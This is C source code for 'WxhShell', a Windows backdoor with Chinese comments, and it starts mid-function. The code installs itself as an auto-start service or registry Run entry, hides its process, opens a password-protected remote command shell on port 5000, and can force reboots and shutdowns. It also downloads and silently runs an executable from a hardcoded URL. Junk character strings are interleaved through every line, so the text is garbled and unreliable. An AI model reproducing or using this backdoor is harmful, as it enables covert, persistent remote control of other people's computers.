); J_v$YwE PROCNTQSIP NtQueryInformationProcess; }XSfst5-H }C>{uXv static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )8UWhl= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qycI(5S, 5_z33,q2 HANDLE hProcess; Tny%7xSx1 PROCESS_BASIC_INFORMATION pbi; *]VFvh lAJxr8 . HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A' /KUi if(NULL == hInst ) return 0; :E@3Vl#U tP2qK_\e= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uJ5Eka g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /i-J&*6_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T|dY
2 `P8Vh+7u if (!NtQueryInformationProcess) return 0; 6^"=dn6K [5MJwRM^!; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =UJ:t Sr if(!hProcess) return 0; )Ib<F7v Z<SLc,]^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KB'qRnkc R%qGPO5Z\c CloseHandle(hProcess); pk3<| Qkd<sxL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0VGPEKRh if(hProcess==NULL) return 0; v{jQek4 R@6zGZ1 HMODULE hMod; krC{ed char procName[255]; we;G]`@? unsigned long cbNeeded; W81E!RyP` {6c2{@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2GWMlI u
a~CEs CloseHandle(hProcess); *IY*yR6 CFqJ/'' if(strstr(procName,"services")) return 1; // 以服务启动 8-_QFgY 2cq I[t@0 return 0; // 注册表启动 nM-h&na{s } L2pp6bW c=L2%XPP // 主模块 5K<5kHpvJ{ int StartWxhshell(LPSTR lpCmdLine)
2;^y4ssg { Nv/v$Z{k SOCKET wsl; y7$iOR BOOL val=TRUE; 6C-/`>m int port=0; m"fNK$_d struct sockaddr_in door; E !a|Xp LF~*^n> if(wscfg.ws_autoins) Install(); Ircp``g 'C:>UlzLy port=atoi(lpCmdLine); ;IVDr: mN>h5G>a if(port<=0) port=wscfg.ws_port; ~d%Pnw| FFH_d <q WSADATA data; NDs!a if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; niqN{ `xywho%/Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gOr%!QaF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `S2[5i door.sin_family = AF_INET; -|Y(V5] door.sin_addr.s_addr = inet_addr("127.0.0.1"); B:e
@0049 door.sin_port = htons(port); #ceaZn|@m xZQg'IT if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9$Xu,y closesocket(wsl); 2Ri{bWi return 1; /}PF\j9#4 } F6K4#t+9 n[]tXrhU if(listen(wsl,2) == INVALID_SOCKET) { s_>
f5/i2 closesocket(wsl); (d<4"! return 1; )@L'wW } Wt=| Wxhshell(wsl); +\|Iu;w WSACleanup(); ;Y;qg
59!Fkd3 return 0; LNa $
X5` `X`2:@gQ } 7hi"6, aS pWsT // 以NT服务方式启动 #F*1V(! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,daKC { KM!k$;my DWORD status = 0; Fb4`| DWORD specificError = 0xfffffff; UY <e&Npo FI<q@HF serviceStatus.dwServiceType = SERVICE_WIN32; x,otFp serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~,BIf+\XF serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :sP!p`dl serviceStatus.dwWin32ExitCode = 0; /-qxS <?o serviceStatus.dwServiceSpecificExitCode = 0; :LQ5u[g$\ serviceStatus.dwCheckPoint = 0; h~(D@/tB serviceStatus.dwWaitHint = 0; !O#dV1wAa {fEwA8Ir hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lr{?"tl_ if (hServiceStatusHandle==0) return; #Ap;_XcKw 5i-Rglo status = GetLastError(); OI?K/rn if (status!=NO_ERROR) ph_4q@ { 7yz4'L serviceStatus.dwCurrentState = SERVICE_STOPPED; IR- dU<<9O serviceStatus.dwCheckPoint = 0; n':! ,a[ serviceStatus.dwWaitHint = 0; "d$m@c serviceStatus.dwWin32ExitCode = status; VB?Ohk]< serviceStatus.dwServiceSpecificExitCode = specificError; jU3Z*Z)zN SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~{D[
>j][ return; 8?i7U<CB } ~O]]N;>72" 7As|Ns` serviceStatus.dwCurrentState = SERVICE_RUNNING; v9D22,K- serviceStatus.dwCheckPoint = 0; `KCh*i serviceStatus.dwWaitHint = 0; Da v PYg if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d5>H3D{49 } (C\hVy2X?N jC3Vbm&ZZ // 处理NT服务事件,比如:启动、停止 P{5-Mx!{& VOID WINAPI NTServiceHandler(DWORD fdwControl) gi-Yqco { =r.mlc``W switch(fdwControl) }->.k/vc { A)~X, case SERVICE_CONTROL_STOP: E%'~'[Q serviceStatus.dwWin32ExitCode = 0; qBQ`~4s serviceStatus.dwCurrentState = SERVICE_STOPPED; d)[;e() serviceStatus.dwCheckPoint = 0; TeWMp6u,r serviceStatus.dwWaitHint = 0; x+h~gckLb { 1$2D O SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5]TY] } \y88d4zX return; a3VM' case SERVICE_CONTROL_PAUSE: 8NU`^L:1 serviceStatus.dwCurrentState = SERVICE_PAUSED; $rhgzpZ!X_ break; hxf'5uc case SERVICE_CONTROL_CONTINUE: 8srBHslI serviceStatus.dwCurrentState = SERVICE_RUNNING; #!9S}b$ break; Kv@eI$t5 case SERVICE_CONTROL_INTERROGATE: [J
C: break; /c$\X<b); }; r&2~~_d3y SetServiceStatus(hServiceStatusHandle, &serviceStatus); D!oc>K$B } Lj"A4i_ e.*%K!( // 标准应用程序主函数 "ywh9cp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iz~
pGkt { Yyfq 0}:2Q# // 获取操作系统版本 Y(+^;Y3U OsIsNt=GetOsVer(); Rm5Kkzd0o GetModuleFileName(NULL,ExeFile,MAX_PATH); bO;(bE m@ yg2uC(2 // 从命令行安装 "GQl~ if(strpbrk(lpCmdLine,"iI")) Install(); 3-%Cw2ds Y];Ycj; // 下载执行文件 qTB$`f'|$ if(wscfg.ws_downexe) { HJC(\\~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i,nm`Z>u WinExec(wscfg.ws_filenam,SW_HIDE); 1TM~*<Jb } teW6;O_ `T2$4 >! if(!OsIsNt) { #$1og= // 如果时win9x,隐藏进程并且设置为注册表启动 {i*2R^5 HideProc(); KZbR3mi, StartWxhshell(lpCmdLine); ZO7&vF} } ur\qOX|{ else 6 8iV/7 if(StartFromService()) "0EA;S8$8 // 以服务方式启动 d$Y7u StartServiceCtrlDispatcher(DispatchTable); tURc bwV else Fa epDjY8 // 普通方式启动 m3^/:< StartWxhshell(lpCmdLine); IhiGP
{ BYM3jXWi0v return 0; R|P_GN6> } 4<X!<]3] |3{&@7 erl:9. >|o_wO =========================================== e/8z+H^H 1mSaS4!"B O3N_\B: C*X
G_b ] 3p*-tBOO gFPi7 o1 " @cq`:_.[ s-W[.r| #include <stdio.h> Y
e+Ay #include <string.h> (9 gOtJ #include <windows.h> AY SSa 1} #include <winsock2.h> [Qdq}FYr #include <winsvc.h> ir:d'g1k #include <urlmon.h>
?W0(|9 dp5f7>]:( #pragma comment (lib, "Ws2_32.lib") sLcFt1 #pragma comment (lib, "urlmon.lib") R
4wr +jqj6O@Tjr #define MAX_USER 100 // 最大客户端连接数 @ 2_<,;$ #define BUF_SOCK 200 // sock buffer aj~bt-cE #define KEY_BUFF 255 // 输入 buffer ]bgY6@M #*c F8NV- #define REBOOT 0 // 重启 'ZQWYr9R #define SHUTDOWN 1 // 关机 33~qgK1> "Jy~PcJZ1 #define DEF_PORT 5000 // 监听端口 n(lk
dw lM#A3/=K #define REG_LEN 16 // 注册表键长度 S='syq>Aok #define SVC_LEN 80 // NT服务名长度 O {k:yVb ]Y.deVw3i // 从dll定义API fA! 6sB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q6wr=OWD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 15zrrU~D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y_}SK6{
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o0pT6N) WA)Ij(M8 p // wxhshell配置信息 ecX/K.8l struct WSCFG { !]S=z^"< int ws_port; // 监听端口 -qe bQv char ws_passstr[REG_LEN]; // 口令 l
SkEuN int ws_autoins; // 安装标记, 1=yes 0=no 3^.8.q(6 char ws_regname[REG_LEN]; // 注册表键名 \NX Q char ws_svcname[REG_LEN]; // 服务名 M0-,M/]l char ws_svcdisp[SVC_LEN]; // 服务显示名 QMk+RM8U char ws_svcdesc[SVC_LEN]; // 服务描述信息 yu
,h\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &!y]:CC{ int ws_downexe; // 下载执行标记, 1=yes 0=no kDB iBNdB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m]IysyFFK char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -)<mS >&H~nGP. }; c Cxi{a1uo IbWPlbH // default Wxhshell configuration vN{-?
struct WSCFG wscfg={DEF_PORT, EX?h0Uy "xuhuanlingzhe", ~2/{3m{3 A 1, ~F#A
Pt "Wxhshell", OCHm; "Wxhshell", wH!#aB>kP "WxhShell Service", -{9Gagy2& "Wrsky Windows CmdShell Service",
m1.B\~S3 "Please Input Your Password: ", .yVnw^gu 1, (G4'(6 "http://www.wrsky.com/wxhshell.exe", $Kq<W{H3ut "Wxhshell.exe" B;-2$
77 }; c6b0*!D"} ZM~`Gd9K0E // 消息定义模块 C>*n9l[M~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R I@*O6\/I char *msg_ws_prompt="\n\r? for help\n\r#>"; acOJ]] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dw |3Z char *msg_ws_ext="\n\rExit."; \]Z&P,}w char *msg_ws_end="\n\rQuit."; St>`p- char *msg_ws_boot="\n\rReboot..."; Isovwd char *msg_ws_poff="\n\rShutdown..."; 8mgQu]> char *msg_ws_down="\n\rSave to "; n=`w9qajd 6~Wu` char *msg_ws_err="\n\rErr!"; *`KrVu 6s char *msg_ws_ok="\n\rOK!"; bV3lE6z Yjup char ExeFile[MAX_PATH]; JfTfAq] int nUser = 0; FD6v/Y HANDLE handles[MAX_USER];
q{X T int OsIsNt; n9fk,3 "g
`nsk SERVICE_STATUS serviceStatus; (G8 SERVICE_STATUS_HANDLE hServiceStatusHandle; _=6 OP8 3 C"_$?y" // 函数声明 vF>gU_gz. int Install(void);
Yg6If7& int Uninstall(void); X&\o{w9% int DownloadFile(char *sURL, SOCKET wsh); id?_>9@P int Boot(int flag); 4uX(_5#j void HideProc(void); f[qPG& int GetOsVer(void); ypA: P int Wxhshell(SOCKET wsl); EDN(eh(_ void TalkWithClient(void *cs); IT1PPm int CmdShell(SOCKET sock); nC~fvyd<P int StartFromService(void); :l~E E! int StartWxhshell(LPSTR lpCmdLine); ~|R[O^9B >I-g[* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S\|^ULrH VOID WINAPI NTServiceHandler( DWORD fdwControl ); C6)R# a9[< ^ // 数据结构和表定义 ~JE|f 7 SERVICE_TABLE_ENTRY DispatchTable[] = 79z)C35~ { +a]j[# {wscfg.ws_svcname, NTServiceMain}, uMDtdC8 {NULL, NULL} GEtbs+ [ }; pAg$oe# #` +]{4hR // 自我安装 bm}+}CJ@#0 int Install(void) /Ri,>}n { 8ath45G @ char svExeFile[MAX_PATH]; NV#')+Ba HKEY key; <9\,QR) strcpy(svExeFile,ExeFile); 01nsdZ- E0`[G]*G // 如果是win9x系统,修改注册表设为自启动 MW]8;`|jC if(!OsIsNt) { Xb+3Xn0}&8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (zmNa}- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {{E jMBg{ RegCloseKey(key); kr{) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M;qb7Mu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x(vai1CrdH RegCloseKey(key); tE:X,Lt[ return 0; vpa fru4 } \ 522,n` } O!];_q/ } ss;
5C:*y else { P/`m3aSzX. "!a`ygqpT // 如果是NT以上系统,安装为系统服务 )]A9~H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M1(9A>|nF if (schSCManager!=0) 0h:G4 { K6(.KEW SC_HANDLE schService = CreateService qwP $~Bj ( ;[caiMA- schSCManager, 8{@`kyy| wscfg.ws_svcname, F8 ?uQP8 wscfg.ws_svcdisp, 9ET/I$n SERVICE_ALL_ACCESS, bpnv &EG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nFj-<! SERVICE_AUTO_START, -? Tz.y& SERVICE_ERROR_NORMAL, 3]_qj*V svExeFile, d|3o/@k NULL, +l.|kkZ? NULL, `#=fA NULL, v D&Kae< NULL, lJ'trYaq7 NULL Ym:{Mm=ud ); 7g-$oO if (schService!=0) lDlj+fK { NGSS: CloseServiceHandle(schService); PnJ*Zea CloseServiceHandle(schSCManager); mb~./.5F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;'hi9L strcat(svExeFile,wscfg.ws_svcname); Lb^(E- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W'V@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >"bnpYSe RegCloseKey(key); -+' #*V return 0; }
m6\C5 } 5=m3J!? } +Tp%5+E CloseServiceHandle(schSCManager); a(5y>HF
} EFwL.'Fh } W8x[3,gT v#-E~;CcC return 1; @?Fx } [='p!7z aSTFcz" // 自我卸载 Ny B&uf int Uninstall(void) y 3IA ' { RE*WM3QK~ HKEY key; o|+E+l9\ )X~#n if(!OsIsNt) { ^aT;aP^l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cP,;Qbe RegDeleteValue(key,wscfg.ws_regname); PlF!cr7:4 RegCloseKey(key); ||`qIElAW, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VOg/VGJ RegDeleteValue(key,wscfg.ws_regname); | yS5[?.` RegCloseKey(key); }U(\~
=D return 0; Ou? r {$(b } 2q/nAQ+ } XN4oL[pO } e/ WBgiLw else { U|9U(il [4ee <J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T^N L:78 if (schSCManager!=0) t18UDR{ { ~~U< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6#fOCr;f7 if (schService!=0) T7^ulG1' { YN4"O> if(DeleteService(schService)!=0) { \m%J`{Mt CloseServiceHandle(schService); `(!W s\: CloseServiceHandle(schSCManager); O1|B3M[P return 0; G&.d)NfE } jT{f<P0 CloseServiceHandle(schService); Lr wINVa } wInY7uBd! CloseServiceHandle(schSCManager); kpl~/i`4 } =?wMESU } Gee~>:_Q{J lD9%xCo9( return 1; 692Rw}/ } &3WkH W Mp^^!AP 9 // 从指定url下载文件 -g9^0V`G int DownloadFile(char *sURL, SOCKET wsh) mMV2h|W { *&(2`#C; HRESULT hr; @X
K> char seps[]= "/"; N?\bBt@ char *token; E]\D>[0O char *file; :m]/u( /N char myURL[MAX_PATH]; #NWZ k.S char myFILE[MAX_PATH]; O>nK,. ZGA)r0]
P` strcpy(myURL,sURL); :jBZK=3F> token=strtok(myURL,seps); Q@7l"8#[t while(token!=NULL) 1]_?$)$T { <"hb#Tn file=token; <V7SSm token=strtok(NULL,seps); j.<:00< } MRjH40"2 +{5JDyh0 GetCurrentDirectory(MAX_PATH,myFILE); 1XqIPiXJ strcat(myFILE, "\\"); -)4uYK* strcat(myFILE, file); U~oBNsU" send(wsh,myFILE,strlen(myFILE),0); <9ePi9D( send(wsh,"...",3,0); Sjw2 j#Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1RCXc>}/ if(hr==S_OK) lr-12-D%- return 0; 2T//%ys= else AQB1gzE return 1; ?@3#c Jq=00fcT+ } K5 5} Wi DLNa6 // 系统电源模块 olYPlHF int Boot(int flag) ;RNM { "kcpA#uD| HANDLE hToken; #.<*; rB TOKEN_PRIVILEGES tkp;
o G(0i w9G_>+?E if(OsIsNt) { {9h`$e= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JX2mTQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fl B, (Cm tkp.PrivilegeCount = 1; ;3 G~["DA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $?[1#% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _= o1?R if(flag==REBOOT) { uo]Hi^r.l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S9$o return 0; jN31\)/i } =''mpIg( else { nu#aa#ex> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <P+G7!KZ& return 0; 0\?_lT2 } f@wsSm } &sI,8X2a2 else { H(X+.R,Thp if(flag==REBOOT) { /1IvLdPIu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,:v.L}+Z return 0; &?KPu?9 } 4C l,Iw/; else { o}WB(WsG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I(z>)S'7r return 0; 4$0jz' } A Oby*c } A8\U
CG B@ZqJw9J[ return 1; @o}1n?w } -s9 Y(> 1;cv-W // win9x进程隐藏模块 =nJOaXR0 void HideProc(void) g2+l@$W { XD;15a :*mA,2s HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0t5Q9#RY if ( hKernel != NULL ) s,1pZT <E { eNIkiJ$uS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BengRG[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u3Zzu \{ FreeLibrary(hKernel); EO4"Z@ji } E\{^0vNc Vpug"aR&_ return; kV*y_5g } u}JQTro >/7KL2* // 获取操作系统版本 2uvQf&, int GetOsVer(void) s(1_: { }ZEfT] OSVERSIONINFO winfo; }u(d'9u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PWf{aHsr GetVersionEx(&winfo); 2x)0?N[$O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^tm++ return 1; 8C*6Fjb# else .yctE:n return 0; ^/`#9]<% } PphR4 sIM Eg@R[ ^T // 客户端句柄模块 >u BV int Wxhshell(SOCKET wsl)
|y{;|K { ~[d=s SOCKET wsh; Nb^zkg struct sockaddr_in client; /3)YWFZZc DWORD myID; u~/M
!A'`uf4u while(nUser<MAX_USER) zCK y`u. { |1dEs,z\ int nSize=sizeof(client); 6MLN>)t wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6.
+[
z if(wsh==INVALID_SOCKET) return 1; 2+T 8Y,g n:5O9,umZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?=;e.qK=71 if(handles[nUser]==0) cCo07R closesocket(wsh); GW>7R6i else Gt\K Ln nUser++; *_4n2<W$ } )8 "EI-/. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 68&6J's; Pe+ 8~0o=R return 0; &;6|nl9; } |d/x~t= nZ`2Z7! // 关闭 socket [a>JG8[,t void CloseIt(SOCKET wsh) }}sRTW { !7IT~pO` closesocket(wsh); #a7Amh\nT nUser--; }#\;np ExitThread(0); E< zT } v @$evmA 'f=) pc#&g // 客户端请求句柄 D&z'tf5 void TalkWithClient(void *cs) jm#d7@~4 { _SBp66
r H0D>A<Ue SOCKET wsh=(SOCKET)cs; 9Sx<tj_4P{ char pwd[SVC_LEN]; WTV3p,;6a char cmd[KEY_BUFF]; :|n>H+Y char chr[1]; X%4uShM int i,j; `5k6s, |
Q1ubS while (nUser < MAX_USER) { ecY ^C3+S @n~>j&Kp if(wscfg.ws_passstr) { 4i[v
ew if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &J6o$i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RS||KA])J //ZeroMemory(pwd,KEY_BUFF); L#7)X5a__ i=0; .q_uJ_qu- while(i<SVC_LEN) { F9u:8;\@` rB.=f[aX[ // 设置超时 I9:G9 fd_set FdRead; 9Th32}H struct timeval TimeOut; e\d5SKY FD_ZERO(&FdRead); [5RFQ! FD_SET(wsh,&FdRead); we:5gK& TimeOut.tv_sec=8; ? !oVf> TimeOut.tv_usec=0; /+<%,c$n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8}"f|6Wm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X5L(_0?F1 |7S4; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7kX7\[zN pwd=chr[0]; 2vh!pez_ if(chr[0]==0xd || chr[0]==0xa) { JL.ydH79 pwd=0; U<gUX07 break; z~}StCH( } 7+D'W7Yx i++; j^aQ>(t(9 } D)O6|DiO GqIvvnw@f // 如果是非法用户,关闭 socket _ pH6uuB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A5.'h< } (.quX@w"m ,rH)}C<Q+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &-8-xw#. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~P]HG;$?n -hG 9 while(1) { r_g\_y7ua Cb@S </b ZeroMemory(cmd,KEY_BUFF); ohc/.5Kl <PfPh~ // 自动支持客户端 telnet标准 CYFas:rPLT j=0; < ;%q
while(j<KEY_BUFF) { !0. 5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pzt Zb cmd[j]=chr[0]; px
[1# * if(chr[0]==0xa || chr[0]==0xd) { 5QL9w3L cmd[j]=0; 5& |